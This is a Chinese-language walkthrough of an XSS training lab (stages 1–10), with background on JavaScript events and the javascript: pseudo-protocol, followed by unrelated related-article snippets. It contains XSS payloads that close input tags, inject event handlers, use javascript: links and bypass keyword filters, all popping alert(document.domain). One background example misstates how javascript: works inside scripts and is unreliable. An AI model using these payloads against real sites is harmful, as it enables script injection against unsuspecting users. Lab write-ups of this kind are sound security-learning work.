XSS Challenges 靶场通关解析

前言

XSS Challenges(跨站脚本攻击挑战)是一种用于学习和测试跨站脚本(XSS)漏洞的实验性平台。这些挑战旨在帮助安全研究人员和开发人员了解XSS漏洞的工作原理、检测方法和防御技巧。

通常,XSS Challenges平台提供一系列不同级别和类型的XSS漏洞场景,参与者需要利用这些漏洞实现特定的攻击目标。这些挑战可以包括在网页输入框中注入恶意脚本、利用DOM(文档对象模型)漏洞执行JavaScript代码等。参与者需要通过分析和利用漏洞,成功地触发XSS漏洞并实现攻击目标,从而完成挑战。

XSS Challenges平台通常提供了丰富的实验场景和漏洞细节,以及相关的提示和解决方案。通过完成这些挑战,参与者可以提高对XSS漏洞的理解和应对能力,为实际应用中的安全工作提供宝贵的经验和技能。

总的来说,XSS Challenges是一种交互式的学习和实践平台,为安全从业人员和开发人员提供了一个探索和研究XSS漏洞的良好环境。

补充知识点

JS 事件

JS事件是指在网页中发生的交互动作或状态变化,例如点击按钮、鼠标移动、键盘按下等。通过JS事件,可以捕获这些动作或变化,并执行相应的代码来响应用户的操作。

JS事件可以分为以下几个部分来解析:

1. 事件类型(Event Type):每个事件都有一个特定的类型,用来描述事件的发生方式或者操作类型。例如,"click"表示点击事件,"mouseover"表示鼠标悬停事件,"keydown"表示键盘按下事件等。

2. 事件目标(Event Target):每个事件都有一个目标元素,即事件发生的元素。例如,点击按钮时,按钮就是事件目标。事件目标可以通过JS代码获取,例如使用`document.getElementById('elementId')` 来获取具有特定id的元素。

3. 事件监听器(Event Listener):通过事件监听器,可以指定当特定事件发生时要执行的代码。事件监听器可以通过`addEventListener`方法来添加,该方法接收两个参数:事件类型和要执行的代码。例如:

```
document.getElementById('myButton').addEventListener('click', function() {
  alert('Button clicked!');
});
```

这个例子中,当id为"myButton"的按钮被点击时,会弹出一个提示框显示"Button clicked!"。

4. 事件对象(Event Object):每个事件都有一个关联的事件对象,其中包含了关于事件的详细信息,例如事件类型、事件目标、鼠标位置等。可以通过事件监听器的回调函数的参数来访问事件对象。例如,在点击事件的回调函数中,可以使用`event.target`来获取事件目标元素。

5. 事件传播(Event Propagation):当一个事件发生时,它会从目标元素开始向上级元素传播,这个过程被称为事件传播。事件传播分为两个阶段:捕获阶段(capture phase)和冒泡阶段(bubble phase)。可以通过`addEventListener`方法的第三个参数来指定事件监听器在捕获阶段还是冒泡阶段执行。

JS 伪协议

JS伪协议(javascript:)是一种特殊的URL协议,用于在网页中直接执行JavaScript代码。它的基本形式是在URL中以"javascript:"开头,后面跟着一段JavaScript代码。

JS伪协议的使用场景包括:

1. 在链接中执行JavaScript代码:可以通过给链接的href属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,点击链接时弹出一个提示框:

```
<a href="javascript:alert('Hello, World!');">点击我</a>
```

2. 在表单中执行JavaScript代码:可以通过给表单的onsubmit属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,当表单提交时执行一段JavaScript代码:

```
<form onsubmit="javascript:alert('Form submitted!');">
  <input type="submit" value="提交">
</form>
```

3. 在脚本中执行JavaScript代码:可以直接在<script>标签中使用JS伪协议来执行JavaScript代码。例如:

```
<script>
  var result = javascript:1 + 2;
  console.log(result); // 输出: 3
</script>
```

需要注意的是,使用JS伪协议存在一些安全风险。因为它可以执行任意的JavaScript代码,所以可能会被恶意使用。为了避免潜在的安全漏洞,应该谨慎处理用户输入,并避免在JS伪协议中执行不可信的代码。

另外,JS伪协议在现代的Web开发中并不常见,因为它的使用方式比较简单粗暴,不够优雅和可维护。相比之下,更常见的做法是使用事件监听器和其他技术来实现与页面交互效果。

一、Stage #1(构造 payload)

第一关没啥好说的,直接构造即可

<script>alert(document.domain)</script>

二、Stage #2(闭合 input)

第二关先输入一个 6 发现位于 value 中(直接输入是不会触发的),那么可以先闭合 input 标签

"><script>alert(document.domain)</script><

三、Stage #3(修改 country)

这一关有两个参数,一个是 place 的另一个是 country ,直接在 place 中执行 JS 代码是不行的

因为是 POST 表单提交的,所以要抓包修改参数尝试第二个参数 country

打开 BurpSuite 抓包修改 p2 值

p1=6&p2=<script>alert(document.domain)</script>

四、Stage #4(修改 hackme)

随便输入值提交后检查源代码发现一个 hackme 的 input 标签 

BurpSuite 抓包检查

猜测是攻击点,于是构造 payload,因为是 input 标签所以要闭合掉 

p1=6&p2=Japan&p3="><script>alert(document.domain)</script><

五、Stage #5(修改 maxlength)

随便输入值观察,发现 maxlength 仅为 15 做了限制

更改 maxlength 值在提交 JS 代码闭合 input 标签即可

"><script>alert(document.domain)</script><

六、Stage #6(构造 JS 事件)

直接构造 payload 发现被实体编码了

通过闭合 value 值构造新的 JS 事件来执行

"onclick="alert(document.domain)
”onmouseover=”alert(document.domain)

七、Stage #7(空格绕过)

输入上一关的语句发现双引号被过滤了

利用空格闭合掉 value 值然后执行 JS 事件 

关注博主 onmouseover=alert(document.domain)

八、Stage #8(JS 伪协议)

随便输入值发现用值构造了一个 a 链接

在 a 链接标签中通常使用 JS 伪协议来执行 JS 代码

javascript:alert(document.domain)

九、Stage #9(修改 hide)

这一关是需要 IE 7 环境的,查看 head 可以发现编码不一样

因为难得搭环境所以可以直接修改 Hint 标签添加 JS 事件(原本是要用编码绕过的)

十、Stage #10(双写绕过)

用之前的 payload 测试发现 domain 被过滤掉了

双写绕过(大小写绕过可以弹窗但是过不了关)

"><script>alert(document.dodomainmain)</script>

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/594879.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vite创建vue项目启动时域名为127.0.0.1修改为localhost不生效——问题解决

今天偶然间想起来年前整的一套vue3的框架&#xff0c;索性跑了一下&#xff0c;结果发现运行后地址为127.0.0.1而非localhost&#xff0c;所以想把域名改一下 找到vite.config.js文件中的export default defineConfig&#xff0c;在server中写入host:localhost 然后通过npm ru…

3d设计网站有哪些(2)?渲染100邀请码1a12

上次介绍了了几个设计网站&#xff0c;这次我们接着介绍。 1、Archive 3D Archive 3D是一个简单庞大的模型下载网站&#xff0c;可以下载的类型有家具、设备、飞行装备、门窗、厨房等。 2、3D Warehouse 3D Warehouse是预制3D模型网站&#xff0c;能与SketchUp无缝协作&…

软件杯 深度学习的水果识别 opencv python

文章目录 0 前言2 开发简介3 识别原理3.1 传统图像识别原理3.2 深度学习水果识别 4 数据集5 部分关键代码5.1 处理训练集的数据结构5.2 模型网络结构5.3 训练模型 6 识别效果7 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习…

EFDC模型安装及建模方法;在排污口论证、水质模拟、地表水环评、地表水水源地划分、水环境容量计算等领域中的应用

目录 专题一 EFDC软件安装 专题二 EFDC模型讲解 专题三 一维河流模拟实操 专题四 建模前处理 专题五 EFDC网格剖分介绍 专题六 EFDC二维湖库水动力模拟/非保守染色剂模拟 专题七 EFDC水质模型参数及原理介绍 专题八 EFDC一、二、三维湖库水质模拟 专题九 基于EFDC的地…

Aigtek射频功率放大器的主要功能是什么

射频功率放大器是一种专门用于放大射频信号功率的电子器件&#xff0c;它在无线通信、雷达系统、卫星通信等射频应用中起着至关重要的作用。下面将详细介绍射频功率放大器的主要功能。 信号放大&#xff1a;射频功率放大器的主要功能之一就是将传入的射频信号放大到所需的功率水…

使用 FFmpeg 从音视频中提取音频

有时候我们需要从视频文件中提取音频&#xff0c;并保存为一个单独的音频文件&#xff0c;我们可以借助 FFmpeg 来完成这个工作。 一、提取音频&#xff0c;保存为 mp3 文件: 要使用 FFmpeg 从音视频文件中提取音频&#xff0c;并将 ACC 编码的音频转换为 MP3 格式&#xff0…

利用PS中Lab颜色模式进行简单调色?

【原图】 详细步骤如下&#xff1a; Step 1 : 打开PS&#xff0c;打开素材&#xff0c;点菜单栏&#xff0c;【图像】-【模式】-【Lab颜色】&#xff0c;效果如下图 Step2&#xff1a;ctrl(或command)m打开曲线工具&#xff0c;选择a通道&#xff0c;效果如下图。 Step3: 把标…

埃及外宾亲临育菁 参观考察桌面CNC机床

随着我公司的规模不断壮大以及国际化建设工作的不断推进&#xff0c;广东育菁装备在国外的知名度也越来越高&#xff0c;4月25日&#xff0c;公司迎来了埃及外宾到访考察桌面型数控加工中心&#xff0c;桌面级数控车床等&#xff0c;育菁总经理杨先生等相关负责人对远到而来的埃…

git/gerrit使用遇到的问题

Push时出现的多个问题及其解决 branch【...】not found 这个错误通常出现在 Git 命令中指定的分支名称中包含特殊字符或者语法错误时。需要确保指定的分支名称是正确的&#xff0c;并且没有任何不支持的字符。 例如&#xff0c;如果分支名称是 feature/branch&#xff0c;应该…

写爬虫代码抓取Asterank中小行星数据

2024年5月4日 问题来源 解决方案 回顾2023年7月14日自己写的爬虫代码 import requests import re import pandas as pd texts[] def getData(page):#每页评论的网址urlhttps://item.jd.com/51963318622.html#comment#添加headers&#xff0c;伪装成浏览器headers{User-Agent:…

电脑切换窗口快捷键,让你轻松驾驭多个任务

在使用电脑时&#xff0c;经常需要切换不同的窗口&#xff0c;以便快速地访问不同的应用程序或任务。为了提高效率&#xff0c;掌握一些电脑切换窗口快捷键是非常重要的。本文将介绍三种在电脑上切换窗口的方法&#xff0c;帮助您更加高效地进行多任务处理。 方法1&#xff1a;…

FIFO Generate IP核使用——异步复位

FIFO Generator IP核提供了一个复位输入&#xff0c;当该输入被激活时&#xff0c;它会复位所有的计数器和输出寄存器。对于块RAM或分布式RAM实现&#xff0c;复位FIFO并不是必需的&#xff0c;可以在FIFO中禁用复位引脚。共有两种复位类型选项&#xff1a;异步复位和同步复位。…

Linux——mysql运维篇

回顾基本语句&#xff1a; 数据定义语言 ( DDL ) 。这类语言用于定义和修改数据库的结构&#xff0c;包括创建、删除和修改数据库、表、视图和索引等对象。主要的语句关键字包括 CREATE 、 DROP 、 ALTER 、 RENAME 、 TRUNCATE 等。 create database 数据库 &…

FreeRTOS为什么要区分任务函数和中断函数?

在我们之前的学习中&#xff0c;队列&#xff0c;信号量&#xff0c;互斥量&#xff0c;事件组&#xff0c;任务通知&#xff0c;它们都有两套函数&#xff0c;在任务中使用或在中断中使用。 1.为什么要用两套函数&#xff1f; 情景1&#xff1a; 我们在写队列的时候等待100…

图神经网络实战(9)——GraphSAGE详解与实现

图神经网络实战&#xff08;9&#xff09;——GraphSAGE详解与实现 0. 前言1. GraphSAGE 原理1.1 邻居采样1.2 聚合 2. 构建 GraphSAGE 模型执行节点分类2.1 数据集分析2.2 构建 GraphSAGE 模型 3. PinSAGE小结系列链接 0. 前言 GraphSAGE 是专为处理大规模图而设计的图神经网…

一般实现分布式锁都有哪些方式?使用 Redis 如何设计分布式锁?使用 zk 来设计分布式锁可以吗?这两种分布式锁的实现方式哪种效率比较高?

目录 1.Redis 分布式锁 &#xff08;1&#xff09;Redis 最普通的分布式锁 &#xff08;2&#xff09;RedLock 算法 2.zk 分布式锁 3.redis 分布式锁和zk分布式锁的对比 1.Redis 分布式锁 官方叫做 RedLock 算法&#xff0c;是 Redis 官方支持的分布式锁算法。 这个分布式…

C++ | Leetcode C++题解之第70题爬楼梯

题目&#xff1a; 题解&#xff1a; class Solution { public:int climbStairs(int n) {double sqrt5 sqrt(5);double fibn pow((1 sqrt5) / 2, n 1) - pow((1 - sqrt5) / 2, n 1);return (int)round(fibn / sqrt5);} };

从0到1:商场导览小程序开发笔记一

背景 购物中心与商场小程序&#xff1a;旨在提供便捷的购物、导航、活动报名、服务查询等功能&#xff0c;让用户更好地体验购物和享受服务。通过提供便捷的购物、信息查询和互动预约等功能&#xff0c;提升了商场的服务水平和用户体验&#xff0c;帮助商场与消费者建立更紧密…

mq发送消息之后,业务代码回滚,导致发了一条中奖消息给用户!!

背景是这样的&#xff1a;在一个名为"幸运大转盘"的线上活动中&#xff0c;用户可以通过消耗一定的积分来参与抽奖&#xff0c;有机会赢取各种奖品。这个活动的后台系统使用了消息队列&#xff08;MQ&#xff09;来处理用户的抽奖请求和发送中奖消息。 一天&#xf…

linux(ubuntu18.04.2) Qt编译 MySQL(8.0以上版本)链接库 Qt版本 5.12.12及以上 包含Mysql动态库缺失问题

整理这篇文档的意义在于&#xff1a;自己走了很多弯路&#xff0c;淋过雨所以想为别人撑伞&#xff0c;也方便回顾&#xff0c;仅供参考 一、搭建开发环境&#xff1a; 虚拟机&#xff08;ubuntu-20.04.6-desktop-amd64&#xff09;&#xff1a;Mysql数据库 8.0.36Workbench …